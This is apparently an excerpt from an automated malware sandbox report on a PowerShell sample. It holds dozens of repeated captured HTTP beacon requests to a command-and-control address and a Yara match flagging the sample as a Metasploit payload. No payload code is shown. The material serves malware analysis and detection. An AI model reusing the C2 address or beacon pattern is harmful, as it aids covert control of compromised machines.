Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=SQyKaBLP6i_D-yVpcNpkCLNwCQMkS8oy3kMjpeYgE29qO_0YW5cMf7EG97L18WoHoWWPZUogV1aKdY01X6CmM-_SRo0jsZ_WwxbWMBVbFQ7dEIwzeaomHQt0dI1hfMxCjYoJ4wGi4jP79q6cROBOs9qCC26bHPG-iRT7RATei9F8OJLFUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=zFzGbZefpipGq2ls9YooDTYgRQahG4Y3WxNvoGNwX2rva7Ed3sdAejRWu7dwoSYCJDXDYM9wG1MPJcEw2vDqNmqCCoim4dPTRkaaNZALWQtYQMA2_PpqGI4kOIjkLIBHCNpF5oTyrjZ-puKZwbACtl_SR2seTL27DES3QYGOx9T5aN7AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Me-wfmos0Dm7GB9_CDleHsuTMxVcqPAkpqAZs57DKXkS2McOI3Q2acnlzaSNElAR2Ya1czLDbUDylrcjJ0OcJZcxfJtbUqXAu_XsJm24Lxil87YlAUkcC3OXTpsZn_ZU9Wkz9XlB2CWDFZSKPAN0paJhMXjj_8uo8ffBUnw9sccE26jTUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=qrvALPF4oGsgTG8tk20uTFDHQ0fH_IB2PfRp4QWXWSuJjLdcuCBGO1KxvfYWRiBDQtLFIamXHRJpwsdxvBfsdwxlDMnABtWSIKGcdPbsX0o-p8Z3mh1sWejDPsmCy4YGbj1Dp-IVqHcYQeTYp1cE9zk1QSp4q7v6aqOxAOdpwZWfj9iBUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Te3IiRYuqM7HGmeIdDsm6beRS-IgqojT2qJhROLBUY5u2r_5X3ZOnrXntVPxECjmpYTNhE7BFbeOlM_UW0Hk0uszBGwnUN03x_eU0RG6V-_Z8c7SfUtk_A-VNmxlnY6jiWtLAgVDoNL_F-x9QAEMUt5jSY-f_bNfjfW5pQA_yTB42dAkUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=mE_7EMOMm1cSuFQRoZkVcGIzeHv1CLtKDwBS3TdjYhe7eIxgitR9B2BFhsoksht_cCb-HZtjJi5bNvxNjuPXSz6RN_Xy8u6uElWnSMQYZHYMU_1LqOlXZdo3BfWwP706XMl4m9Dhk0sqtd_klaM_ywvBehZKX4DGWFeKPNWd-qmte-O9User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=-Ik-CqNKXk1yfpELwV_QagL1vWGVzn5Qb8aXx1elpw3bvkl66hK4HQCDQ9BEdN5lEOA7B_ul4zQ78DlX7iUSUV5X8u-SNCu0cpNiUqTeoWxslThRyC-Sf7rxwO_Q-XggPA-9gbAnVlFKcxr-9WX60WsHvwwqmUXcOJFPJrVbP7PNvSanUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=QzUKFBj2alPJwqUVeuPkdLlJiX8uckpO1Hqj2ewZkxNgAn1kUa6MA7s_d87_yOp7q1wPGUAZ1yqATA1JVZkmT-XrxvEpiB-qyS9WTB9ilXLXKQxPc5OmYQFN9PFrRUw-h7OJnwubYk_xzy7gTtnOz9C7ixKRJXHCgy17OA7nC612ARK5User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=pRtWwv7YNoUv7PnDnM24ol9n1anIXBaYMlT_Dwo3z8WGLCGyt4DQ1V0RKxgZ5ratTXJTz6Y3i_xmYlGfs7d6mQPFmifPpkN8LwEKmvlMyaQxB1CZlb36t-djqCeNaxDoYZ3VSe21PpkX4XI2qPeSGTaV18R3Cy0UZQMn7ujJV3uQL05vUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=WPyX5wM_96DSCzjmYSp5h6KAFIw1u9e9z7M-KvfQDuB7y-CXSmcR8KD26j3kAXeIsJWS6lvQStmbhZC6TlC7vP4iWwIyQYJZ0ubLvwSrCIHM4JG8aFo7khqEaQJwjNHNnHoUbBBS_7zqBrMTVRBTPMtyFuGK7OwxmOTmyxUull5tyI9KUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=g6jJUNhrqRcJX2ZRun4nMHnUSjvu74kKFOdgnSyEUFegn74gkTNPR3uitIo_VSk_a8HMXYCEFG5A0c4NlQTlCyV2BbXpFdzuCbKVCN__VjYXtM8Lsw5lJcHQN7Wr2I96Ry5K28sGoQsxUu2kjkQNixAmSFZRuLKGQ7C4fM56yOm2nNH9User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=mfE808IyXJQTBpPSoCfSs2ONv7j0tnyJDr6VHjbdpdS6xkuji2q6xGH7QQklDNy8cZg53prd4e1aiDuOj10QiD8v8DbzTCltE-tgi8Wmo7UN7TqIqVeQptuJwjaxgXr5XXe_WNFfVIgrCxgnlB34CAp_vdVL4UcFWelN_9QjPWqsxSR-User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=uvOQ4OEw8KcwBD_hgyV-gECPE4vXtNC6Lbw5LRXfCeeZxOeQqGgW90L57ToGDnCPUpqV7bnfTd55ipe9rF-8uxwtXAXQToVeMOnMuOakD4Yu75a7ilU8lfiLbgWSg9bKfnUTa_Jd-LsICbQUtx9UOyl9EeZo4-s2euvhzPchkVmPx4hNUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=9xY2fazVVjp94Zl8zsDYHQ1qtRaaUXYnYFmfsFg6r3rUIUEN5Y2wag8cS6dL69YSH38zcPQ660M0bzEg4boaJlHI-pidqyPDfQxqJatBqRtjCjAmx7CaCLVuyJjfZnBXM5C19r-4XiZF7BKJ-vrypmSYt3slBk2rNw5HUbrEN8TCIi7QUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=IHyBvnu_4fmqiy6_Gapv3toAAtVNO8HktzMoc49QGLkDS_bOMucHqdh2_GScgWHRyBWEsyNQXIDjBYbjNtCt5YaiTVtKwZQAqmbd5nwrHti0YIflENoty2IEf1sIDMeU5PoCNWjS6eWShqVKLZBFZbPyALjybPpo4GTwkm2ugAcVSJkTUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=At4NhlkdbcGIKaKHOwjj5viiju1vmU3clZGkS63ylIEh6Xr2EEWLkfrUcFy-I-3p6rcIiwHy0LjBpwrbFHIh3aQAwWNoYxg4iMRR3l6JkuCWwgvdMnih80Cm82MqrkusxliODUpwZd2wJClyDzLJXZFQjIDQznZQwsZ8qk8MDD836hUrUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=r9VUMPQWNHclIvsxlgO6UFWp11vCkhRqOJr9_QD5zTeM4iNAvU7SJ1ffKeoTKLRfR7xRPaz5iQ5srFNtuXl4awkLmNXFaEGOJc8IaPOCy1Y7yVJrn3P4Re2tqtWHpRIaa1PXu-d7PGsdL3DEojmQ6zxb1TZ9xS_mb80lHOIHVYma4UydUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=BQ1Knl7OKtmP-uWfPNuk_v9xyfVoSgrEkkLjU6oh05kmOj3uF5bMif0HN0S58Krx7WRPkwYhl6DGdE3DE6FmxaPThntvsF8gjxcWxlla1fiREUzFNavm60d1tHstfQy0wYvJFU2jIsW3925qCOGORZaDy5jXHTFIxRU7skjfSycwOVIzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=f3KLUySx6xT1hSRSRqRlM4UOCDgSNcsJ6D0intBeElRcRfwjbekNRId49onDj2s8lxuOXnxeVm28C4wOad6nCNmsR7YVz57t9WjXCyMlFDXrbo0IT9QnJj0KdbZXAs15u_QI2Dfc4wjNiK-ncp5PiOz8ClWtYvCFv2r6fzKgiupKRpP-User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=9bgAwK57YId_T6_BzG7uoA_Eg6uY_0CaYvepDVqUmcfWj3ew5yOG1w2yfRpJReCvHdEFzfaU3f42wQed4xQsm1NmzCWfBRV-f6JcmKnvn6ZhpAabxR6stbfA_iXdyEbqMT6DS70WaJtHQiQ0-FTEG2Y2gcYnqHsWNaBx7LhqAXnAjBhtUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=P2K3T2Sh1wi1lRhOBrRZL8UeNCRSJfcVqC0egpBOLkgcVcA_LfkxWMdoypWDn1cg1wuyQjxOanH8G7ASKc6bFJm8e6pV36LxtXjrF2M1KCmrfrEUD8QbOn0aSaoXEvFl--Q0xHfM3xSNmJO7Mo5zlKzsNkntcsyZ_3rGY3KwtvYKVq_iUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=z-fNzpQkrYlFEGLP9jEjrjWbTqWioI2UWKhkA2DLVMns0Lq-3XxL2TftsBRzGi2hJ47Iw8zLEPAMnsqT2UvhlWk5ASulWthwRf2RlpOwUqhb-8uV_0Fhu42fMyvnl4vkC2FORYdJpZV9Hek6wgsJFVxpTMgd97YYD_-84oI1zHf609VjUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=AKR8TltnHAmKU9NPOXKSLvrY_yVt4zwUl-vVg6-I5Ukjkws-Ej_6WfiuAZS8WZwh6M15QwOIoXDD3XsTFghQFaZ6sKtqGWnwir4gFlzz4yiUuHoVMALQO0Lcgqso1DpkxCL_xUgKFBWyXli6DUi4lZMq_UjStAeYwLwNYk12ffc1kGTjUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Hl0zgUWeU8aUqpyAJ4vd4eQhsOpzGnPbiRKaTLFxqoY9akTxDMa1luZXTluioNPu9jQ2jB1x7r_dJDTcCPEf2riD_2R04CY_lEdv2UIKrOeKQTXaLvuf9FwlzWQ2LXWr2tuwClbzW9qspxd1E7H3Wo3TsofMTUhX3kVCrVOPMjgraSssUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Idey03oU0pSrIB3SGAFcs9urMbhMkPKJtpgbHo77K9QC4MWjM0w0xNndzwmdKlK8yb633iL7b-3irrWON3ueiIcJfjZLaqdtq83ui32ALbW1y7SIEXEepmOvTDYJp_T55VExWGl52oiTLZYnLDt2CLJZM9Xzx8kF4c_D_2wFs2oU46p-User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=vMfsVucEjBE2MENXhRECNka7bz3RgKwMK4hFmxPrdVGf8JsmrlxqQUTNkYwAOgw5VK7pW7_rMWh_vusLqmvADRoZILPWevnoNt2wDuCQczAo2-oNjGFAI_6_ErOUt6p8eEFv3fRphA0OPciisSsojS9JbVBu15eAfN-devEV7e-J8_T7User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=w99yqJgcEu9JKN2p-gmcyDmj8cOumDLyVJDbZWzz66_g6AXY0UT0vzvVD3J_IpLHK7Z3pcDzr5YApnX11XNe82UBvk2pYmcWScUu8J-I7c5Xw3Tz83ne3YGnjE3rrzSCB1nxI4txGvNxJVZczjO2c1BR864Rzwl-A8cDhI4NcxH262oFUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=YI47bjtNWynqeZRvWVjVDpryuAUNyXs098GSo8-iomlDuUwechW9eZiERrTcc9sBiOc-Y2Oi5lCj9zwzdiIXNcZQ94sKMy7Q6pRnNjzZpAj0kj01UCiXGyL2xYtI_n1EpAi45SggUzXSdB-abWL_tfMAumiynkC4oJZKQi1cOtdVuiPDUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=o9g-AfgbXkYpL5EAmg7QYVmkvWrOn35bNJeXzAz0pwaA70lxsUO4FlvSQ9sfJd5uS7E7DKD04z9goTlctXQSWgUG8uTJZSu_KcJiWf-PoWc3xDhak36SdOGgwOSLqHgrZ169iut2VloRIhr1rjT62jBWvwdxyEXXY8BPLe4KP7iW7CasUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=iZnj0NJag5cDbkzRsE8NsHPlYLvk3qOKHtZKHSa1eteqrpSgmwJlx3GTngo1ZAO_YfDm3Yq1Pu5K4OSNnzXPiy9HLzXjJPZuA4O_iNXOfLYdheWLuT9PpcvhHTWh6aX6TR9gW8E3i4s7Y8ckhHUnCxoXYtZbiZgGSYGS_MRL4mm8rft9User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=uetFzeIoJYozHOrMgD2rrUOXxqbUrAWXLqTsABbH3Mqa3DK9q3DD2kHhOBcFFqWiUYJAwLrHmPN6kkKQr0dplh81iSjTVlBzM_EZleW82qst90OWiU3puPuTuyiRmwPnfW3GRvFFLZYLEWE5tAeBFiplxMtr-z4befM04fQ5RHSM311gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=yNVYupMWOP1CIve78QO22jKp29GlkhjgX5rxd2f5wb3r4i_K2k7erTDfJWB0KLjVILxdt8v5hYQLrF_n3nl04W4LlF-iaE0EQs8E4pSCx9xcyV7h-HP0z4qtpl_gpR6QDFPbMYB7MOF6L3xOxTmcYVtb2bwaxSNsCM0ploUHWQP94UAXUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=j9ZC3tQVIpkFIe3ftgCsvnWqwbXikQKEGJnrEyD629ms4TWunU3EyXfcPwQzK6KxZ79H04z6n-BMr0WDmXpuhSkIjjvla1dgBcwehtOB3bgbykSFv3Duq82uvDunpgT0S1DBVcd4KoU9LGYqgjqGBRxYw9hdxjkIT84z8sIEQ2e64lpzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=HjntXkX6jRmUzkJfJ-8DPuRFbjVzfq0EiXZEk7EVdFk9DpouDKJrSeYzkISixA0x9lDoUx0VMGDdQOoDCJXBBbjnIbt0hPjglCOxBkJucjiKJesFLp9BK1xBE7s2Sat02r9u1VaXhQWsw8mqE9UphY23bFjMKZaI3iGcclPr7OcrDfXzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=h2Jf59yhP6ANlfDmvrSxh30e3IzqJR-9EC32KihOxuCkVSiXlfnZ8H9oIj07n7-Ibwta6oROgtlEG1i6kc5zvCG8kwLt30pZDXgDv9s1wIETflm8t8TzksUaoQKvEhnNQ-TcbM_MN7w1mHsTio6bPBTs3uFVciQxR3ouy8qwXl6yVkdKUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=CJm3yVNa146CbhjIMU9ZqfLlNKJl3veTn9YeBKe1Ls4rrsC5GgIx3vCTyhO0ZFem4PCyxAu1avfL4LCUHjWbkq5HeyxiJKJ3goPrkVTOKK-chbGSOD8bvErhSSwg6fHjzB80QkA335K6Y5M9BXVzEpsXNs_aicwfyIHG5UVLtnA9ra9kUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=VGDPWA-jrx_el2BZbbYhOK4cTDM5J48Cwy9mlftMVl93V7goRvtJT6xqsoLonS83vAnKVVdMEmaXGcgFQszjA_K-A70-3drm3nqTAAg3UD7AfMkDZMZjLRYYMb18EIlykOZM0xzOpwPmmuusWYwLg8fuTl6GcLSOlHi-dBmyzuFhVNf1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=-RGjOaLSw35z5gw4wMdNWQNtIFKUVuNjbl4K9FY9Oj7aJtRJ64olLgEb3uNF7ENWEXimNPo9fgc6aKRk772PYl_Pb9yTrLaHcwv_YaVGPF9tDaViybcPTLtpXdzRYeUTPZcgsrG_y2JL64fN9P1n4mqfIj8rAdjvOQnSFbTDooDMJbuUUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache

System Summary

Malicious sample detected (through community Yara rule)

Source: 245f38b4b8a25754bf6e630f8e2acf59.ps1, type: SAMPLE	Matched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth (Nextron Systems)
